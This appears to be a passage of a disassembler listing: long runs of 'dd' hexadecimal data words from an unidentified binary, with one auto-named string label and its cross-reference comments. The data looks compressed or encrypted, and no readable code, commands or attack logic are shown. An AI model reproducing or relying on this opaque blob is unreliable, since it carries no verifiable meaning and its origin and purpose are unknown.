		dd 409FD1C5h, 38D34390h, 0A3B152E7h, 8088F4ADh,	0B9EE6F00h
		dd 75DC0170h, 257C7AF6h, 0E45808BFh, 7297E00h, 0EA17C9CCh
		dd 3B9E0776h, 908AA3B0h, 5A4C1593h, 0D06E6A00h,	69F44280h
		dd 3AB20038h, 0C78AB3E9h, 0F70ED551h, 20998E4Bh, 0DB90130Dh
		dd 0B0FF0B49h, 0D78AD0h, 0E7EFAAD3h, 260A022Fh,	0A4CBAB9Ah
		dd 84588480h, 0C91CC5ACh, 0D0BECAC6h, 98E82FC8h, 0EE4FCD05h
		dd 0A401D755h, 5BCC3509h, 0FB82EFCh, 3A0263C6h,	812075A1h
		dd 60EC4739h, 0E152075Ah, 0F7FF0500h, 538BCEC5h, 227D1E6Fh
		dd 73778025h, 50292634h, 55001D7Dh, 6BB5ADA6h, 785E8FCh
		dd 8CF921E9h, 929E939Bh, 0BBCC56B0h, 8386C79h, 4CA0262h
		dd 0A9102826h, 1DE681F8h, 0B3D4514Ah, 0BB5F005Eh, 0A3E8F9A9h
		dd 67007DDCh, 1C2FC2BAh, 2A542Dh, 2E9F7273h, 0C6634E11h
		dd 0E07AEC37h, 4D3AFD80h, 5F5701AAh, 230438D7h,	53B880CAh
		dd 0DA11F7Bh, 8010C0D1h, 5E66997Ch, 0F4F3E701h,	7F8A104Fh
		dd 9461A1C5h, 0CC1D20h,	2AC57D51h, 9E83B455h, 0B7DBA51Ch
		dd 0FDD5649h
		db 8Ch
aIBe5		db ']ÃÑ=œëÈb¥5',0       ; DATA XREF: ___:004385A0o
					; ___:004385B8o
		dd 0C5A6A459h, 76713AF8h, 45EEB502h, 60B29E14h,	0E29D20B3h
		dd 2BDA0098h, 0E44CDD60h, 5EE68559h, 68A4D000h,	52635696h
		dd 3AEE00DAh, 0DC5F2BB2h, 582FE54Dh, 0D6C278C0h, 0EC0C00F0h
		dd 0D403E9CCh, 6D450A00h, 0CDB27BFEh, 92F7F247h, 8E1A0018h
		dd 13778CB1h, 98006AF0h, 0C2EBBCBh, 0EEE93032h,	414F18E8h
		dd 14D7B868h, 87B9D800h, 0EE5EF160h, 77190106h,	0FEB753E9h
		dd 0DAA5306Bh, 528680A0h, 62B5930Eh, 0A18EC07Bh, 14564A2h
		dd 4C0B41B3h, 0C032FCE5h, 8A1D84E1h, 640013A6h,	58C137CAh
		dd 336A0014h, 0FB92BA3Dh, 9B002380h, 250D600Bh,	0B29AF4h
		dd 8A4B95C7h, 34292A42h, 0BEC85F13h, 4F36C00Eh,	0D80D40FDh
		dd 0B3FBE0h, 7101F0ABh,	7A8EF268h, 0B817EC26h, 0C2A4A200h
		dd 1F92E3B9h, 4A53CCh, 23EE80A7h, 830E8825h, 20B0C797h
		dd 8F86274Bh, 0F7C51FCAh, 0AB12CBh, 0A750126Ch,	64903B56h
		dd 0A9F5D700h, 6635A40h, 39C73826h, 0FFECE240h,	2D255101h
		dd 0D490EA2Ch, 8BFE5983h, 90071302h, 1583F53Dh,	9A84ED77h
		dd 95D0D787h, 7AC3718h,	7826AEFEh, 31076B64h, 0F79B105Ch
		dd 970001C2h, 888289B5h, 5029334Dh, 0F4C54E8h, 0A4B353B4h
		dd 6787C629h, 2C791094h, 0CF00455Ch, 99140C1Ah,	399CCC5Ah
		dd 6626AAAEh, 0BAC40068h, 0E25BEE59h, 733F801h,	2B1CC8D1h
		dd 69B4D8h, 0AF8468DDh,	3DF5EBD4h, 0EA297F1Ch, 0DFFEF380h
		dd 779D9C0Bh, 0A48407DAh, 0D094ACF8h, 0A6BBD5B7h, 2257D800h
		dd 272F3EE0h, 96DCA0C0h, 0CFBD01DAh, 2D2134E5h,	0BBD520B1h
		dd 3F3C8900h, 0E396A4DFh, 0F56000FFh, 7415C222h, 0E9778C8Dh
		dd 2D536800h, 0B781B2E1h, 0B45D00A8h, 0F29D50F9h, 77076A89h
		dd 52D6DF32h, 4CFBEC20h, 3B373D90h, 0AF91B100h,	8FA2E546h
		dd 0E580900h, 0AEB7C855h, 487C9876h, 1745148h, 2FF1CAE4h
		dd 618BA5B9h, 0F8E000DEh, 300924Dh, 0A897C445h,	2AE899Ah
		dd 0F983DAD1h, 38E12D18h, 4916E8AFh, 0A5F5000h,	0C1FD274Fh
		dd 0DF4A0085h, 58362ED8h, 7A003D46h, 0E3A0C6ADh, 0BD7E68h
		dd 0EE211DF6h, 6EB5A89Dh, 6B0034B2h, 69528A65h,	0E4AC743h
		dd 0E1FA37ABh, 671EE8F4h, 8CB880FDh, 3624819Ch,	8D173E00h
		dd 0F531B6BEh, 0AA4F0BE5h, 0D80601Dh, 6E9414C0h, 0AF60E6FBh
		dd 0E348BE88h, 705C504Ah, 64C67E18h, 0FC14EE79h, 0E4EF0128h
		dd 0D15C44E2h, 88F0F1FEh, 9EE7F911h, 0B82A00C4h, 0F83C8C08h
		dd 4CD6B000h, 0EC68C938h, 147348h, 3B04DA50h, 3E162762h
		dd 2DC6EE00h, 24318AC9h, 6D9B30A7h, 0BC416178h,	45D18500h
		dd 0EF1FA1DCh, 95CE2992h, 78680088h, 12C08D87h,	44800200h
		dd 62918611h, 0BF8EC135h, 315A2A67h, 69A080F9h,	0EED14A5Dh
		dd 28E203ACh, 0D0A9360Fh, 3744CE0h, 2564DF00h, 43DD6FECh
		dd 79083ED4h, 1FB25380h, 6A843632h, 80B1AC00h, 0AAA05E40h
		dd 0E2035CF4h, 0F7A27700h, 1FDE525Dh, 61745A00h, 0E2B74730h
		dd 8C5401BBh, 71865B8Eh, 2CD7704Ch, 0CA31A63Ah,	7B2FBA0h
		dd 75D4D8F3h, 518FE0C8h, 0BE7399AAh, 0FF9A40Fh,	0E85620A0h
		dd 18143D7Bh, 6F0685A9h, 0EE00F60Ch, 8A5FCC4Dh,	1E9509BDh
		dd 0D7B26696h, 33FC6Dh,	9163AE35h, 2D90181h, 1969C208h
		dd 0F48FD827h, 9D86FC40h, 990E62A1h, 0D95902BCh, 2180EE08h
		dd 119DBD1Bh, 3507E712h, 4EEC624Ah, 0A96FEA60h,	0C54F883h
		dd 0BDF408CEh, 0E4145F30h, 101017A3h, 0DC365636h, 0BB468051h
		dd 9B9DBC02h, 11C8962h,	2F9DB31Dh, 7A719F82h, 23CE1383h
		dd 8701BAC9h, 9162A09Dh, 1E88E818h, 7A9D07BEh, 20ECF315h
		dd 0DDBB39FBh, 6A275900h, 358055A1h, 0FFD40C33h, 67C00C76h
		dd 4E668914h, 93711D38h, 5F104598h, 32830E25h, 1F57B4D7h
		dd 0AB28C1DEh, 71E580C1h, 0C40FF9AAh, 7E151A63h, 0F804BFFDh
		dd 0FB523073h, 0ED15510h, 787F3Ch, 2276E64Eh, 3A031C56h
		dd 6C3E0D81h, 1BB6D403h, 1E35A17h, 79CAD8E0h, 4A33C2F8h
		dd 3919AC3Ch, 188CCF59h, 0C65081DDh, 7D07AE42h,	4C414D32h
		dd 0FA096528h, 8F0C1774h, 8B268F76h, 0D7DE0027h, 2E39B81Ah
		dd 6ABED8Eh, 0B9CE807Fh, 601BF728h, 7BD1C860h, 0C3D921BDh
		dd 0B872F819h, 2A8BD4E8h, 8FCCCA0Ah, 0AA4770D0h, 0D91C55F0h
		dd 9F6B094Bh, 8C00027Bh, 0B6D53A2Bh, 0E816C130h, 90543C03h
		dd 0C6020317h, 0C4326B65h, 310A69E6h, 4CCC153Dh, 1652A1C0h
		dd 89101D62h, 889B8CFCh, 0F611B1A9h, 0CF011F20h, 0F04DB93Fh
		dd 0EA93009Ch, 386763ACh, 5902F114h, 4AF996CBh,	82F09DC0h
		dd 8602C728h, 30FC0495h, 5F11220Bh, 0E1CB2FEh, 8D4061C5h
		dd 0C25DFFC8h, 871700A4h, 0D392580Bh, 0A1325EF6h, 106529DDh
		dd 3489D919h, 0E5440908h, 8B228449h, 114042D8h,	4358E9F2h
		dd 0DC962962h, 1D401C24h, 51E7A952h, 2D9A300h, 3CBEF783h
		dd 0FAC200C1h, 6017E362h, 5300D3A6h, 18CF9930h,	0BF9110h
		dd 7B2FC028h, 2A2784F2h, 167C0500h, 7690BB9h, 0FEAD3AC7h
		dd 0DE956280h, 2477FB97h, 4B948300h, 0ACB4491Fh, 0A90D0F6Ah
		dd 5B2ECF04h, 0ABF70A00h, 0C13AC905h, 1DE100EFh, 27361AE9h
		dd 0E09500BFh, 0F37E8EF9h, 0B1E289DEh, 329DCF0Ah, 3BBC85h
		dd 0D2E2695Dh, 0EC6ABF8Eh, 0C4123F88h, 80FE3780h, 0C7011DCAh
		dd 4007577h, 0F7077C3Fh, 0DDAFC8h, 0B42878F9h, 55942CD5h
		dd 0C565E900h, 0D967C741h, 83CB00B1h, 0AA03CC69h, 0D128F558h
		dd 383EF0C3h, 6DE878Ch,	6B817B81h, 0F4CC7AECh, 8701395Bh
		dd 32A31880h, 7F1DC7BBh, 91DF8803h, 13DF295h, 0CF985216h
		dd 804CE474h, 0D819DC40h, 7DEE2Bh, 0B35AD101h, 0AF5106D9h
		dd 0EB4B301Dh, 0E19E93C0h, 31E08B64h, 13E2471Dh, 7670F803h
		dd 2894EC03h, 0D830109Bh, 1926740h, 3FC36509h, 0F8EB68CAh
		dd 0D631087Dh, 6D3BF83Dh, 3C8F99F7h, 2EF41080h,	0E4D2121Dh
		dd 0F8E50200h, 0AB65BEB5h, 0DD550020h, 5879C532h, 8002DCEh
		dd 4C844EE5h, 72FE7Eh, 0B0FD943Fh, 0A1A27521h, 1F8F777h
		dd 1A863Eh, 0BA480BDFh,	780B529h, 0A6EC069Dh, 0DA94A14Fh
		dd 404CE438h, 0BCC9C500h, 0FAE6B835h, 0B5E707E5h, 901EEB5Eh
		dd 214D8E45h, 0BB1F6000h, 50F9DFE6h, 877F0ED5h,	0C8806974h
		dd 78658E26h, 0E6A88050h, 881D5B00h, 2707A759h,	7A98F2B6h
		dd 7CC80005h, 0D6C4FBFDh, 48006EE3h, 0F4E09D7Dh, 1FD4CCh
		dd 393E5497h, 323C45A4h, 82559601h, 6F6AFABEh, 0EDED4h
		dd 0EAD45F99h, 604B09EEh, 5728680Eh, 0C710408Ch, 317B0C7Dh
		dd 441165F9h, 0D92860D0h, 0EBF55900h, 0D79087EAh, 77210036h
		dd 1B7C58A9h, 51E8DFFFh, 0BFBEAD00h, 7302C6F9h,	0E4E601B9h
		dd 0FBC11246h, 8D79D855h, 3D96BC00h, 0C4ED9489h, 0E7340028h
		dd 1FD34502h, 0C004A99h, 17AA8591h, 9E813Ah, 527503F5h
		dd 0ED881232h, 65B41000h, 0C4FC0D1Dh, 24AE0026h, 162CFDBBh
		dd 38E86189h, 0D2628600h, 191DEC1Fh, 0AEC40028h, 78BF5496h
		dd 0E30050FAh, 49F72905h, 163A0Ah, 0F8450EDFh, 8D475D37h
		dd 69B8E800h, 91D5DD52h, 7DDF0170h, 3FD27982h, 0CB64F0B4h
		dd 0B33D9700h, 3CC51832h, 0AA4400A4h, 348265D6h, 83005B2Eh
		dd 31B5899Ch, 201C2049h, 0C10F1ECAh, 0C1EF7840h, 3BC42928h
		dd 0E561BC8h, 25C89664h, 2ABF40DDh, 84F93376h, 2E002B90h
		dd 5DE8A54Eh, 4D695h, 3FC9E289h, 0CA9EC2D2h, 84742A00h
		dd 0F775821h, 6BB20449h
		dd 0C1319AF7h, 0E424AD4Bh, 0A6B0E52Fh, 70305F26h, 760948C0h
		dd 6EE012C4h, 7B700BDh,	0B76F4603h, 1C6AC31Ch, 880EAA40h
		dd 924531h, 0CFD61D04h,	0FBA552B6h, 550C1E00h, 766790DAh
		dd 0E9680162h, 9A734606h, 0C457FC05h, 19A55Ch, 0D2F96E28h
		dd 1E8D312Fh, 8F5184A0h, 8C6E09B7h, 5B565A00h, 3032BB4h
		dd 22738D4Fh, 87A3C0BAh, 0BD3F0051h, 0A072A2B2h, 0CA00F97Dh
		dd 9FCF84C3h, 0C4C2Ch, 0DE2385EEh, 132D3073h, 5EEB4300h
		dd 0A60892E0h, 4FE500E4h, 1AF45F11h, 80977970h,	9EC0E3Dh
		dd 25FF00A7h, 6DF8DC67h, 5B005FDFh, 61786AF9h, 1EA99CFh
		dd 0FE56BAD0h, 0E4076CA9h, 0DD003387h, 8D78D3E5h, 0DF3E20h
		dd 0E459855h, 941BC105h, 80C7CB01h, 8C035D6h, 0EC2AC60h
		dd 0C5820237h, 33B92E00h, 0EB01A653h, 16CD9D24h, 4BF8EA96h
		dd 7D3600F0h, 30B33BEDh, 0C302EBDFh, 17D69260h,	2190400Dh
		dd 1D631CCCh, 15CECB6h,	5BE46B01h, 5C86C4D6h, 0AA6A0E00h
		dd 0D3908DC6h, 0E7D40323h, 10064D1Dh, 4AAB33C0h, 0A5D03800h
		dd 2E0FA39h, 8D9709D4h,	25004D6Bh, 2067C443h, 0FA7613Fh
		dd 9E55933Dh, 597F4F03h, 0D31FD0E1h, 28EC34h, 0D4A62706h
		dd 6918DB7Bh, 317DBF1Eh, 98A25780h, 0B0C555F8h,	9472003Ch
		dd 519FDF07h, 0D2018C50h, 143AE36h, 38C4F0E8h, 204600D1h
		dd 4E809CA9h, 5D000FDDh, 6D3F9790h, 7B767375h, 66370130h
		dd 1FBCCBF9h, 78A830E2h, 89616D00h, 4034743Bh, 0B16000CFh
		dd 0B8E7B51Dh, 1100886Ah, 66039BD4h, 60AC2A2Eh,	23ED38E8h
		dd 5301A7F2h, 2D3E3656h, 0A840679Bh, 0DCF16Ch, 86B7BD9h
		dd 70B0C1B5h, 0FA767102h, 0C8314E18h, 45C1AE0h,	8FD3DF52h
		dd 0EE0D063h, 40098E4h,	0A4D4AF81h, 0B8036C4Dh,	0BCDC0018h
		dd 8D73A3B5h, 98037CB2h, 0B6EF043Bh, 25101D7h, 7859D3DCh
		dd 0FB94E084h, 0F5BD1B00h, 93ED8AAFh, 0A0B081h,	19A83D0Ch
		dd 37436810h, 3ABA0700h, 6703E6D2h, 0A7FD00C4h,	1CEBE582h
		dd 141FBB41h, 0F8008D45h, 71EC81A0h, 0B1A60058h, 0F99382C8h
		dd 1F003605h, 7C4EED02h, 48972Fh, 673EBE34h, 80A2716Fh
		dd 0E8782400h, 278F25ADh, 68900Ch, 29D6A62Ah, 3EC6E78Eh
		dd 0FF3CBF00h, 6485EC78h, 521E01A1h, 9E98C59Fh,	0DB6C8025h
		dd 0EB443CD5h, 2EFA0085h, 1ED33446h, 0DA0A3749h, 0C05ECE94h
		dd 0ABEC5916h, 0B1005449h, 0BFE19603h, 9E00B96Ch, 0ED2FD8FCh
		dd 0B22740h, 97F25E0Ch,	0D30F984Bh, 0A43E732Eh,	0E145EC03h
		dd 8E3D8083h, 6CC60090h, 8606F1DFh, 0B8A3D07Bh,	945884A8h
		dd 42C5D900h, 0F8F1E285h, 32B00CF6h, 0A954E4D5h, 0CC005574h
		dd 0D2178B62h, 13677C8Fh, 6428BE7Dh, 1ED380ACh,	909081E7h
		dd 0CC2460Eh, 6DC1BCF4h, 6099D716h, 162AA30h, 19EC1B87h
		dd 0D0803D3Ah, 4D0924E3h, 27296E96h, 87E83908h,	0C1B04894h
		dd 8166161Ch, 0CEBE0E8Eh, 78228897h, 0E104AB00h, 0AE2E911Dh
		dd 1A6520E5h, 0C78FE207h, 3830020Ch, 2E9EB1D6h,	7920D9h
		dd 1FF9E103h, 823C9261h, 0DC7F03E8h, 8014CB9Ah,	2F4253h
		dd 0DDBFF373h, 3A1C90EFh, 8AF2C400h, 7EB4F4F5h,	33A1C970h
		dd 306FBC19h, 0D5071D8Bh, 0AF3CA287h, 8059B6B7h, 0B1F9DC74h
		dd 6CF30046h, 196008F0h, 0D1603711h, 695F5248h,	99C501B0h
		dd 0F408C895h, 0CC0DD566h, 201451Fh, 0D931BE1Ch, 1ED017C4h
		dd 75FD03EDh, 8A682415h, 0A61DD00Eh, 0D82E409Ch, 9B13AA7h
		dd 5116B20Bh, 0A940650Eh, 0DEF51B59h, 0F6033DEEh, 190AD54Dh
		dd 8B87C853h, 0CC80EDBh, 5160D12Dh, 0F2A8CB35h,	962A6001h
		dd 0A919A4DEh, 0FFEDECh, 0D7AFCA80h, 12FE74F8h,	0F5C79900h
		dd 970CACCCh, 0EEBE045Dh, 0C0863CD2h, 0ECEF8AA7h, 67004473h
		dd 0EACD2225h, 8BBB6Fh,	0E7A157C4h, 0AB84E8FAh,	18F4AE01h
		dd 0C62B8386h, 2774C0h,	3C349EE2h, 0B3D705C9h, 198C3A07h
		dd 4053804Dh, 99F290C5h, 4C1C0FD2h, 8B205931h, 0ED663D94h
		dd 21DBDE00h, 0C86C7B54h, 0C2110305h, 0B22AACCAh, 0A6E0C9A2h
		dd 0AD39129Ah, 75D68720h, 0CE077888h, 34171BB0h, 0A5604865h
		dd 0E6AE0638h, 8F8039E0h, 2D3D6213h, 2A00D2B1h,	16907DB9h
		dd 8D42C2h, 2BF1B2A5h, 53E8C438h, 1AAB4C00h, 8A1F6351h
		dd 524035Ch, 39CE1B26h,	2CE8E20Ch, 1ECBD267h, 80B0E5D1h
		dd 3F3B72F8h, 0D4FAE66Bh, 485248h, 8CB925B5h, 0E2AA0DEh
		dd 94EBC38Eh, 0F7BB24A0h, 8F001F67h, 91432ED1h,	609713h
		dd 0F2F3EBD5h, 0A40D0B50h, 0FC00AE71h, 83A035C7h, 0EAA565Bh
		dd 0F8B28F7Fh, 0E1B13003h, 790D80CDh, 900143F6h, 0E3DC095Ch
		dd 0E760CEE6h, 0B1D800B0h, 0DB264EEFh, 243B7B94h, 2D4787F9h
		dd 0D2D03E38h, 161230Eh, 1365303h, 70569742h, 0FC033545h
		dd 0F63E198Eh, 1F1600F0h, 0A1DBC367h, 4901D220h, 5F649904h
		dd 45F0ABC5h, 501C0034h, 0C9813F69h, 35E6C656h,	17E5AC03h
		dd 0F8D31EF9h, 0EC665F8Ah, 0CBB80063h, 0CD4A7B3Ah, 0E001243h
		dd 7A81A862h, 51DB088h,	777CF67Dh, 196780DEh, 3E00DB5Fh
		dd 0B5894012h, 1FADC4Bh, 60AF1A17h, 0F835275Eh,	0F8FAF455h
		dd 0D7157900h, 88B25A57h, 510B0CC1h, 8C792C20h,	823B7E00h
		dd 5095EEEFh, 0E3CB1CE8h, 16B38FD4h, 0A3E0D600h, 80080B5h
		dd 0A13548Eh, 0AEB7C7h,	336A57F7h, 146F4A6h, 5C807A06h
		dd 0F58929Fh, 5D7C39D0h, 0B2758C00h, 9A0037C6h,	95E89984h
		dd 0FB055Bh, 6268A46Bh,	0D04CE767h, 127E0300h, 63AA717Ah
		dd 23805E5h, 0FFBADBCCh, 0A0C0670Fh, 0A44F3C9Bh, 4B45003Dh
		dd 0BA4ED5A1h, 0E9008962h, 83DE5AB6h, 0A0E4D6B0h, 0F0FC988h
		dd 0CC849C3Eh, 0C16B5620h, 25007B9Fh, 935C573h,	0DD7861h
		dd 4CED17A3h, 0BB37DA96h, 680AE600h, 0BD41F0FFh, 71420225h
		dd 0D5ACF9FCh, 7BB360DFh, 1E180348h, 0B8EB5306h, 65074790h
		dd 23D9D31Eh, 0C8007FA4h, 5E299BF4h, 0CE1A0092h, 0C4488CABh
		dd 755CE3A6h, 0E702726Fh, 0B0FDD511h, 0E8BF635Bh, 99C088h
		dd 37E05FBBh, 6C74EC3Fh, 57F0A400h, 0C9AD5B51h,	75890097h
		dd 32EFB272h, 233EE984h, 0FB1180FEh, 0AE911F17h, 48A6E4D5h
		dd 130018BAh, 675A7457h, 0FC000FB9h, 1D027196h,	0F22BCC3Ah
		dd 10249214h, 18AAE3h, 0C4972D49h, 0F86F0C54h, 1BA6009Fh
		dd 5995F082h, 1238EC94h, 39B28B87h, 3D78050h, 4B90BAh
		dd 0EC3221CBh, 0A69D415Ch, 0C06C5F04h, 0E383FEBEh, 7F481C47h
		dd 462140D4h, 9DB1A07h,	427C5300h, 0A3590E43h, 0B97F00B0h
		dd 62D55056h, 0FA006AEBh, 0EDC6BBF7h, 45BCD6h, 1D307999h
		dd 7E7DB3E7h, 0D813FD0Eh, 76960EAh, 267FBh, 15F9BBD0h
		dd 5C4EC7D1h, 8A5F2500h, 0A0076ABFh, 0E53F8DBh,	948C2DF5h
		dd 0AB80E00Eh, 57C66405h, 5BFE2209h, 71D807DEh,	1A3662C0h
		dd 695302E3h, 0D706FFCCh, 8F42140h, 0A95FAD01h,	1B910FFCh
		dd 0B013DED4h, 0E4F08Bh, 0BF7F8880h, 8CA233ABh,	3DDDEC48h
		dd 19AD0011h, 0FEB67AB2h, 3D0AE449h, 40814FBBh,	2E52168h
		dd 19B77016h, 9C8A048h,	27E7C3Fh, 0C085CC6Ch, 181A38Ch
		dd 9D91B3EFh, 604548D0h, 0B001D1Ah, 0C5077CC9h,	3EC98DAh
		dd 38ED7B73h, 85B0D188h, 5E00D328h, 0A73E33E5h,	3C6B34h
		dd 0EB1E9D59h, 2F8A6D57h, 0CD00C9F4h, 2555F9B0h, 71500Fh
		dd 0D3BEDA61h, 0C1694092h, 0F1B8C50Fh, 89C6E04Ah, 58E0178h
		dd 752782B0h, 0B2AE803Fh
		dd 0E9083EEh, 80B4BB38h, 16B8D77h, 36DD39Dh, 0F1800EE1h
		dd 99984083h, 3D67132Eh, 41F6921h, 48901F4Ah, 638072h
		dd 88B99353h, 2456EE9Ch, 98C01073h, 0FD0EA864h,	2D0500D6h
		dd 0CE66361Dh, 0C60099BBh, 29EDD5E8h, 7637E80h,	90E9A4C0h
		dd 0AFF1507Dh, 190398E5h, 9ABE9C9Bh, 0A4D0F4ECh, 0A065B69Eh
		dd 18CEFCFAh, 18F92147h, 606E49Ch, 1B305C48h, 3F47810h
		dd 0E512AD80h, 9F981382h, 0DE04C594h, 57D5E6D2h, 44E8A3C0h
		dd 39E40020h, 0F0954CE5h, 0F907928Ah, 0BA81214Dh, 1E2478BCh
		dd 9DFC0Ah, 7DCE9C09h, 68C010A7h, 2777A0E5h, 0B0976128h
		dd 80665C64h, 92991718h, 7C984E09h, 2A5E42CCh, 6206689Bh
		dd 9684070Ch, 9C8905C0h, 48FB9AB5h, 4210D578h, 8852C400h
		dd 3DECE163h, 0A3972601h, 12D19260h, 0F821C4h, 0E194B7EAh
		dd 4A0AEDCBh, 0F005BA1Eh, 6F15FA80h, 48F45ABFh,	3800E535h
		dd 5B728570h, 0CB00426Bh, 0F6AC1312h, 7B9CC99h,	9B689F7Fh
		dd 760A9004h, 94003E63h, 0D2E1A8DAh, 7D4D2E27h,	5215005Ch
		dd 3768620Dh, 0E2041A04h, 8F7B301Ch, 0C0A687FAh, 0EE5A8033h
		dd 0EF642D03h, 0D09456D4h, 20CB14Eh, 0CD1877BAh, 28481EC7h
		dd 5E003A05h, 9249C81h,	74DC64BCh, 21196006h, 1F5E4322h
		dd 8A8D9E01h, 0F8120F99h, 54B055F0h, 0B03AB020h, 983F14C9h
		dd 9A31D87Ah, 87B00C09h, 0DE7FDA20h, 7C45C0BFh,	0C0898A0h
		dd 0A82295A4h, 50193250h, 535817E6h, 0DE048118h, 0A6A9839h
		dd 21031533h, 0E9DE89DCh, 2050DE95h, 1A6091CEh,	0EBBCA821h
		dd 0E1EE0001h, 0BE087DB8h, 4F3E97E3h, 53840D4Eh, 3C0BD0A4h
		dd 30B00B84h, 30CC6BC8h, 597116FCh, 0E2010DB3h,	0FB2E405Dh
		dd 0FCC4FA3Ah, 5C920Bh,	56D88818h, 0C64EE81Dh, 72F95F00h
		dd 2938D1A5h, 83B100B6h, 1B35CB6Ah, 253098DEh, 5D96B009h
		dd 0A1F93CC5h, 1CBC2000h, 7C83658Dh, 1BA5600h, 0B6860BF6h
		dd 0DEEAF4h, 0BF9575F1h, 0B3039941h, 328BF300h,	53F759F5h
		dd 78AFFE0Ah, 0A01E07A2h, 8DE1A1h, 5D9F477Bh, 4E437C07h
		dd 9232D8CCh, 1AC0FD2Ah, 4D07C5E3h, 0D991386Fh,	0DC487260h
		dd 23713Ah, 0A7E99F6Eh,	0F10184CFh, 0A274FA00h,	584D3643h
		dd 298D002Ch, 856131E1h, 4807DDE3h, 0B07B3775h,	0A143AC83h
		dd 0C1F09193h, 0EFEC043Ah, 0C082BF16h, 0C7A1337Ah, 9180C900h
		dd 0F8B8490Eh, 4874CFh,	0EF9A8CE3h, 49589ABh, 9121C300h
		dd 0FD8AB9C7h, 0E65103C8h, 0D684DF6Dh, 607D3000h, 0F19F089h
		dd 0A64C00C9h, 82D7F2ADh, 36E86452h, 3A42D03Ch,	0C06160F7h
		dd 14814754h, 0D62035A1h, 0B54C6A00h, 0B130C191h, 0EE00EAE0h
		dd 687053D7h, 0C9DC59h,	0FD388376h, 0B463D8B2h,	4619B660h
		dd 7C73F178h, 484310A2h, 0BC39818Dh, 0A081A0FBh, 58154B56h
		dd 0DEE3DA1Ah, 84884Ch,	0F60F1E7Eh, 7FF23D5Bh, 0A48454D9h
		dd 853C00F5h, 0ADBCBB0Ch, 4D00DFD2h, 0D304A386h, 0AE4817h
		dd 29B807DDh, 0B0B5DEE0h, 13839C0h, 0C0BA60E9h,	36871B11h
		dd 0E800FD21h, 94F1DBFFh, 6A96AAh, 7DC8CFA4h, 58E6B8DEh
		dd 14AEE203h, 0E8FCD083h, 75814D90h, 0D9E50E89h, 1F04CC9Dh
		dd 0F80451AFh, 0F1A23048h, 8C739710h, 87E9CC39h, 820E0C93h
		dd 0DA043101h, 1ABEC0B8h, 0E9988486h, 3F422988h, 21F96D11h
		dd 909C0854h, 880E6B88h, 8090075Bh, 2191298Eh, 376A2457h
		dd 4019E429h, 0E362039Fh, 0A1F1007Dh, 0ECF97307h, 0D400516Ah
		dd 80FA3061h, 22594Dh, 0C5669165h, 76B5F650h, 247A4E1Fh
		dd 0F240461Dh, 0AE6FEAEEh, 0E917014Dh, 0C3BF9CA1h, 538CE803h
		dd 6107B502h, 40CF11ACh, 0D3B0AAh, 3A43E963h, 7B812818h
		dd 38A2D800h, 0BEE12C21h, 0FAF70072h, 0ADF6614Bh, 1F2E92C7h
		dd 1E00AC82h, 36BB255Ch, 116A1DAFh, 0F655C057h,	0DADE09Fh
		dd 763BBA00h, 83A8C1CBh, 0B5DD007Ah, 0FCE8E91Eh, 9700D1D0h
		dd 0CC3351AAh, 6218287h, 8E48E61h, 10C0301Eh, 27E3629h
		dd 0AA320080h, 0BA1550B7h, 0BF0E87C7h, 0F8CE141Ah, 497728h
		dd 0C95B829Ah, 0B75AC7D6h, 0B0AAF000h, 8D4BBF96h, 40A73E6Fh
		dd 15A58487h, 1BD0042h,	0CB00D3ABh, 6B467A17h, 8964BBh
		dd 87C96124h, 686588ECh, 1B12D200h, 0C6C0537Bh,	7EEF1C84h
		dd 0DD80029h, 0C7D75BA2h, 1DE74501h, 0C3E31F35h, 5436C8h
		dd 0DE9B4A5Ch, 79095290h, 0F715551Fh, 9600B32Ch, 0AAFD7E8h
		dd 0A1E610h, 540B3FFh, 7348BBE5h, 0B971B400h, 0D32390ADh
		dd 0CF13000Dh, 0ACF1AE49h, 0C0028D08h, 87DEE562h, 6B43E06Fh
		dd 0C8AB3BDCh, 80F80B1Eh, 0CDC0D30Eh, 7E00E835h, 18163B87h
		dd 116597h, 0A1D6CF63h,	0AF68FC1Fh, 188D4730h, 7B9D9CADh
		dd 63580003h, 5E02BEB3h, 0FF0093E9h, 0E0A4437Dh, 4292FDDh
		dd 0EB86CB37h, 526D806Ah, 7A0AF8F5h, 0C03DB669h, 62B1013Fh
		dd 959777AEh, 7D2449E2h, 0DB33C0h, 69E7FE28h, 408D7252h
		dd 1F193F00h, 0D3CD8ABFh, 7B703BCAh, 0A2B81CF6h, 505342B7h
		dd 5C40B6C8h, 823FF480h, 9CD6800Fh, 44FFE5E1h, 97D486Dh
		dd 2A22E50h, 0FA3D9649h, 0FC80450Eh, 0E22CD47Ah, 81135B38h
		dd 0B7D20C08h, 0F0EC159Eh, 0AA781DB5h, 0FC7870DBh, 0EC989338h
		dd 7D2C18C0h, 4B97E91h,	2524CF5Ah, 4C3091CDh, 71A8FCB0h
		dd 90D42A01h, 0F6C82EA9h, 700CACD0h, 1E9F0324h,	92C552EEh
		dd 3BF020A0h, 0B818C638h, 46441F21h, 0CA0C1640h, 8CD8F3h
		dd 0D425A413h, 0F4E7A605h, 45025C00h, 61656F8Ah, 5BE50041h
		dd 0B73D130Ch, 127088ABh, 5D3E8B00h, 2F4F0F4Bh,	0DD7E06A0h
		dd 3844C7DBh, 28193407h, 41A3883Ah, 52C2F8EEh, 7F98A3h
		dd 0E9AA218Ch, 8613E1C7h, 0ACB39C00h, 0A980F34Ah, 0CEC00FCh
		dd 0CA927E0Dh, 0E63D9E17h, 658C0067h, 45CEB125h, 0B8F6C9h
		dd 0E17BB0C2h, 4854DDEDh, 2B04B300h, 0F6222C34h, 5878FC60h
		dd 6700B294h, 23B36A05h, 960034B0h, 61637615h, 0EB9EDCh
		dd 0F15474ADh, 1C78BE8Ah, 1D394D70h, 0F723003Fh, 84AB7667h
		dd 0CEBF180Fh, 92198D8h, 0DA4C9100h, 0E997B3C5h, 0C9D63EBBh
		dd 0FDCA4000h, 7CBC7F01h, 0E8B248h, 93FCBE28h, 788B41h
		dd 451CE4CBh, 0E51952C5h, 0B20EF305h, 0B5C0E079h, 7604851h
		dd 754D971Dh, 0FB83402Fh, 4B0340C8h, 5B17CC1Eh,	0EB0CB061h
		dd 63BE0020h, 0FD041FA0h, 9B772EE5h, 629EB41Fh,	79F59F00h
		dd 30CBA223h, 7F3818BBh, 440788F3h, 0B46F8F57h,	0C9EF4A30h
		dd 0C50524FEh, 0FC580066h, 0A4404604h, 0EA537003h, 0D091E101h
		dd 0EB78A3h, 19D7079Bh,	8E45B3D1h, 0B10840C0h, 707DAEB6h
		dd 1E47A04h, 2CBEFC8Dh,	0C8A23CAFh, 43009194h, 6B1EA82Ah
